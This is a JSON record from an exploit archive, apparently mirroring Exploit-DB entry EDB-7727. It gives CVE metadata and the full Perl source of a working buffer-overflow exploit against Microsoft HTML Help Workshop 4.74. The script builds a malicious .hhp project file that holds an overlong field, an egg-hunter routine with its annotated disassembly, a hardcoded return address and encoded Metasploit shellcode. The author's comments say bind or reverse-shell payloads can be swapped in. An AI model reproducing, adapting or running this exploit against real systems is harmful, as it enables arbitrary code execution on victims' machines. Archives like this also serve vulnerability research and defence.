{"exploit":{"id":"EDB-7727","name":"Microsoft HTML Workshop 4.74 - Universal Buffer Overflow","description":"Microsoft HTML Workshop 4.74 - Universal Buffer Overflow","cves":["CVE-2009-0133","CVE-2006-0564"],"author":"SkD","published":"2009-01-12","platform":"windows","type":"local","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7727","path":"exploits/windows/local/7727.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7727.pl","vulnerabilities":[{"id":"CVE-2009-0133","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Microsoft HTML Help Workshop 4.74 and earlier allows context-dependent attackers to execute arbitrary code via a .hhp file with a long \"Index file\" field, possibly a related issue to CVE-2006-0564.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-0133","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-0133"},"updatedAt":"2024-08-07T04:24:17.534Z","retrievedAt":"2026-11-26T18:48:31.623Z","stale":false,"error":null},{"id":"CVE-2006-0564","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in Microsoft HTML Help Workshop 4.74.8702.0, and possibly earlier versions, and as included in the Microsoft HTML Help 1.4 SDK, allows context-dependent attackers to execute arbitrary code via a .hhp file with a long Contents file field.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-0564","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-0564"},"updatedAt":"2024-08-07T16:41:28.381Z","retrievedAt":"2026-11-27T01:10:23.588Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7727.png?v=2","url":"https://exploitbin.com/exploits/EDB-7727","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7727/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7727/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# Microsoft HTML Workshop <= 4.74 Universal Buffer Overflow Exploit\n# -----------------------------------------------------------------\n# Discovered/Exploit by SkD                    (skdrat@hotmail.com)\n# -----------------------------------------------------------------\n#\n# This is a continuation of my new method, shellhunting.\n# The exploit is far more advanced than the Amaya's as it runs on\n# every system, partly because the shellhunter itself is very much\n# reliable and universal.\n# The shellhunter does the following tasks to find and exec.\n# shellcode:-\n#\n# 1- Searches through the whole memory of the application.\n# 2- Installs a SEH handler so on access violations it won't\n#    stop hunting for the shellcode.\n# 3- Repairs stack so a stack overflow won't occur (that is what\n#    happens when the SEH is called up, many PUSH instructions\n#    are called from the relevant modules (ntdll, etc).\n# 4- Improved speed by searching through 32 bytes at a time.\n# 5- Uses a certain address in memory to store a variable for the\n#    search.\n#\n# It is very stable and will allow any shellcode (bind/reverse shell,\n# dl/exec). It will work on ALL Windows NT versions (2k, XP, Vista).\n#\n# Yeah, I guess that's about it. Took me a few hours to figure out the\n# whole thing but nothing is impossible ;).\n#\n# Oh, I think some schools use this software :) (it's Microsoft's, right?).\n#\n# You can download the app. from Microsoft's official page:\n# ->  http://msdn.microsoft.com/en-us/library/ms669985.aspx\n#\n# If you are interested in my method and want to learn something new or\n# improve your exploitation skills then visit my team's blog at:\n# ->  http://abysssec.com\n#\n# Peace out,\n# SkD.\n\n\n\nmy $hhp_data1 = \"\\x5B\\x4F\\x50\\x54\\x49\\x4F\\x4E\\x53\".\n\t        \"\\x5D\\x0D\\x0A\\x43\\x6F\\x6E\\x74\\x65\".\n                \"\\x6E\\x74\\x73\\x20\\x66\\x69\\x6C\\x65\".\n                \"\\x3D\\x41\\x0D\\x0A\\x49\\x6E\\x64\\x65\".\n\t        \"\\x78\\x20\\x66\\x69\\x6C\\x65\\x3D\";\nmy $hhp_data2 = \"\\x5B\\x46\\x49\\x4C\\x45\\x53\\x5D\\x0D\".\n\t\t\"\\x0A\\x61\\x2E\\x68\\x74\\x6D\";\nmy $crlf      = \"\\x0d\\x0a\";\n\n# win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com\nmy $shellcode =\n\"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x49\\x49\\x49\\x49\\x49\\x49\".\n\"\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x48\\x49\\x49\\x49\\x49\\x51\\x5a\\x6a\\x46\".\n\"\\x58\\x30\\x42\\x30\\x50\\x42\\x6b\\x42\\x41\\x56\\x42\\x32\\x42\\x41\\x41\\x32\".\n\"\\x41\\x41\\x30\\x41\\x41\\x58\\x38\\x42\\x42\\x50\\x75\\x58\\x69\\x69\\x6c\\x4b\".\n\"\\x58\\x62\\x64\\x65\\x50\\x67\\x70\\x47\\x70\\x6c\\x4b\\x42\\x65\\x45\\x6c\\x6e\".\n\"\\x6b\\x73\\x4c\\x53\\x35\\x73\\x48\\x45\\x51\\x4a\\x4f\\x6c\\x4b\\x70\\x4f\\x52\".\n\"\\x38\\x4c\\x4b\\x33\\x6f\\x55\\x70\\x57\\x71\\x6a\\x4b\\x61\\x59\\x4c\\x4b\\x36\".\n\"\\x54\\x6e\\x6b\\x53\\x31\\x48\\x6e\\x55\\x61\\x39\\x50\\x4d\\x49\\x4c\\x6c\\x4d\".\n\"\\x54\\x6b\\x70\\x74\\x34\\x66\\x67\\x4b\\x71\\x78\\x4a\\x56\\x6d\\x67\\x71\\x39\".\n\"\\x52\\x48\\x6b\\x4c\\x34\\x35\\x6b\\x62\\x74\\x56\\x44\\x57\\x74\\x54\\x35\\x6b\".\n\"\\x55\\x4e\\x6b\\x31\\x4f\\x65\\x74\\x67\\x71\\x5a\\x4b\\x50\\x66\\x6c\\x4b\\x56\".\n\"\\x6c\\x42\\x6b\\x6e\\x6b\\x53\\x6f\\x47\\x6c\\x67\\x71\\x7a\\x4b\\x6c\\x4b\\x45\".\n\"\\x4c\\x6c\\x4b\\x47\\x71\\x48\\x6b\\x4f\\x79\\x33\\x6c\\x44\\x64\\x73\\x34\\x49\".\n\"\\x53\\x70\\x31\\x6b\\x70\\x71\\x74\\x4e\\x6b\\x73\\x70\\x56\\x50\\x4b\\x35\\x49\".\n\"\\x50\\x62\\x58\\x66\\x6c\\x4c\\x4b\\x43\\x70\\x56\\x6c\\x4c\\x4b\\x50\\x70\\x45\".\n\"\\x4c\\x4c\\x6d\\x6c\\x4b\\x35\\x38\\x77\\x78\\x78\\x6b\\x67\\x79\\x4e\\x6b\\x6b\".\n\"\\x30\\x6c\\x70\\x57\\x70\\x63\\x30\\x33\\x30\\x4c\\x4b\\x32\\x48\\x67\\x4c\\x73\".\n\"\\x6f\\x35\\x61\\x48\\x76\\x71\\x70\\x56\\x36\\x6c\\x49\\x4a\\x58\\x6e\\x63\\x69\".\n\"\\x50\\x41\\x6b\\x56\\x30\\x65\\x38\\x6c\\x30\\x6f\\x7a\\x75\\x54\\x73\\x6f\\x31\".\n\"\\x78\\x4e\\x78\\x79\\x6e\\x6f\\x7a\\x36\\x6e\\x66\\x37\\x6b\\x4f\\x5a\\x47\\x52\".\n\"\\x43\\x65\\x31\\x30\\x6c\\x70\\x63\\x45\\x50\\x46\";\n\n\n#/----------------Advanced Shellhunter Code----------------\\\n#01D717DD   EB 1E            JMP SHORT 01D717FD            |\n#01D717DF   83C4 64          ADD ESP,64                    |\n#01D717E2   83C4 64          ADD ESP,64                    |\n#01D717E5   83C4 64          ADD ESP,64                    |\n#01D717E8   83C4 64          ADD ESP,64                    |\n#01D717EB   83C4 64          ADD ESP,64                    |\n#01D717EE   83C4 64          ADD ESP,64                    |\n#01D717F1   83C4 64          ADD ESP,64                    |\n#01D717F4   83C4 64          ADD ESP,64                    |\n#01D717F7   83C4 64          ADD ESP,64                    |\n#01D717FA   83C4 54          ADD ESP,54                    |\n#01D717FD   33FF             XOR EDI,EDI                   |\n#01D717FF   BA D0FAFD7F      MOV EDX,7FFDFAD0              |\n#01D71804   8B3A             MOV EDI,DWORD PTR DS:[EDX]    |\n#01D71806   EB 0E            JMP SHORT 01D71816            |\n#01D71808   58               POP EAX                       |\n#01D71809   83E8 3C          SUB EAX,3C                    |\n#01D7180C   50               PUSH EAX                      |\n#01D7180D   6A FF            PUSH -1                       |\n#01D7180F   33DB             XOR EBX,EBX                   |\n#01D71811   64:8923          MOV DWORD PTR FS:[EBX],ESP    |\n#01D71814   EB 05            JMP SHORT 01D7181B            |\n#01D71816   E8 EDFFFFFF      CALL 01D71808                 |\n#01D7181B   B8 12121212      MOV EAX,12121212              |\n#01D71820   6BC0 02          IMUL EAX,EAX,2                |\n#01D71823   BA D0FAFD7F      MOV EDX,7FFDFAD0              |\n#01D71828   83C7 20          ADD EDI,20                    |\n#01D7182B   893A             MOV DWORD PTR DS:[EDX],EDI    |\n#01D7182D   3907             CMP DWORD PTR DS:[EDI],EAX    |\n#01D7182F  ^75 F7            JNZ SHORT 01D71828            |\n#01D71831   83C7 04          ADD EDI,4                     |\n#01D71834   6BC0 02          IMUL EAX,EAX,2                |\n#01D71837   3907             CMP DWORD PTR DS:[EDI],EAX    |\n#01D71839  ^75 E0            JNZ SHORT 01D7181B            |\n#01D7183B   83C7 04          ADD EDI,4                     |\n#01D7183E   B8 42424242      MOV EAX,42424242              |\n#01D71843   3907             CMP DWORD PTR DS:[EDI],EAX    |\n#01D71845  ^75 D4            JNZ SHORT 01D7181B            |\n#01D71847   83C7 04          ADD EDI,4                     |\n#01D7184A   FFE7             JMP EDI                       |\n#\\-----------------------End of Code----------------------/\n\nmy $shellhunter = \"\\xeb\\x1e\".\n                  \"\\x83\\xc4\\x64\".\n                  \"\\x83\\xc4\\x64\".\n                  \"\\x83\\xc4\\x64\".\n                  \"\\x83\\xc4\\x64\".\n                  \"\\x83\\xc4\\x64\".\n                  \"\\x83\\xc4\\x64\".\n                  \"\\x83\\xc4\\x64\".\n                  \"\\x83\\xc4\\x64\".\n                  \"\\x83\\xc4\\x64\".\n                  \"\\x83\\xc4\\x54\".\n\t\t  \"\\x33\\xff\".\n\t\t  \"\\xba\\xd0\\xfa\\xfd\\x7f\".\n                  \"\\x8b\\x3a\".\n                  \"\\xeb\\x0e\".\n                  \"\\x58\".\n                  \"\\x83\\xe8\\x3c\".\n                  \"\\x50\".\n                  \"\\x6a\\xff\".\n                  \"\\x33\\xdb\".\n                  \"\\x64\\x89\\x23\".\n                  \"\\xeb\\x05\".\n                  \"\\xe8\\xed\\xff\\xff\\xff\".\n                  \"\\xb8\\x12\\x12\\x12\\x12\".\n                  \"\\x6b\\xc0\\x02\".\n                  \"\\xba\\xd0\\xfa\\xfd\\x7f\".\n                  \"\\x83\\xc7\\x20\".\n                  \"\\x89\\x3a\".\n                  \"\\x39\\x07\".\n                  \"\\x75\\xf7\".\n                  \"\\x83\\xc7\\x04\".\n                  \"\\x6b\\xc0\\x02\".\n                  \"\\x39\\x07\".\n                  \"\\x75\\xe0\".\n                  \"\\x83\\xc7\\x04\".\n                  \"\\xb8\\x42\\x42\\x42\\x42\".\n                  \"\\x39\\x07\".\n                  \"\\x75\\xd4\".\n                  \"\\x83\\xc7\\x04\".\n                  \"\\xff\\xe7\";\nmy $lookout1 = \"\\x24\\x24\\x24\\x24\\x48\\x48\\x48\\x48\\x42\\x42\\x42\\x42\" x 64;\nmy $lookout2 = \"\\x24\\x24\\x24\\x24\\x48\\x48\\x48\\x48\\x42\\x42\\x42\\x42\\x42\" x 64;\nmy $lookout3 = \"\\x24\\x24\\x24\\x24\\x48\\x48\\x48\\x48\\x42\\x42\\x42\\x42\\x42\\x42\" x 64;\nmy $lookout4 = \"\\x24\\x24\\x24\\x24\\x48\\x48\\x48\\x48\\x42\\x42\\x42\\x42\\x42\\x42\\x42\" x 64;\nmy $len = 280 - (length($shellhunter) + 55);\nmy $overflow1 = \"\\x41\" x $len;\nmy $overflow2 = \"\\x41\" x 55;\nmy $overflow3 = \"\\x42\" x 256;\nmy $ret = \"\\x93\\x1f\\x40\\x00\"; #0x00401f93   CALL EDI [hhw.exe]\n\n\nopen(my $hhpprj_file, \"> s.hhp\");\nprint $hhpprj_file $hhp_data1.\n\t\t   $overflow1.$shellhunter.$overflow2.$ret.\n                   $crlf.$crlf.\n                   $hhp_data2.\n                   $overflow3.$lookout1.$lookout2.$lookout3.$lookout4.$shellcode.$overflow3.\n                   $crlf;\nclose $hhpprj_file;\n\n# milw0rm.com [2009-01-12]","sha256":"e512f36e1247de992989b5f1e1f30696791263837528ecc6ccf59873589c67ed","bytes":8281,"fetchedAt":"2026-11-27T01:10:20.360Z","encoding":"utf-8 (display only; download retains original bytes)"}